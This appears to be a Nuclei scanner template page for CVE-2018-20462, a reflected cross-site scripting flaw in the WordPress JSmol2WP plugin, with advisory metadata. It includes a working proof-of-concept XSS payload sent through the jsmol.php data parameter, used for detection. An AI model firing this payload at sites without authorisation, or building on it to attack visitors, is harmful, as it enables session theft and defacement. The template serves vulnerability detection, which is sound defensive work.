WordPress JSmol2WP <=1.07 - Cross-Site Scripting

ID: CVE-2018-20462

Severity: medium

Author: daffainfo

Tags: cve2018,cve,wordpress,xss,wp-plugin,jsmol2wp_project

Description

WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.

YAML Source

id: CVE-2018-20462

info:
  name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability.
  reference:
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://wpvulndb.com/vulnerabilities/9196
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20462
    - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20462
    cwe-id: CWE-79
    epss-score: 0.00245
    epss-percentile: 0.64545
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "jsmol2wp_project"
    product: jsmol2wp
    framework: wordpress
  tags: cve2018,cve,wordpress,xss,wp-plugin,jsmol2wp_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'JSmol2WP'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cd07ac13420f30ea0746af47765fb5581444fa5ef111491c96b9486caa957a4f022100eb1520ef368a02a27d7abc7b0a4bc193536d14bfa2e9833dba76b2ea6d5f8ee0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-20462.yaml"

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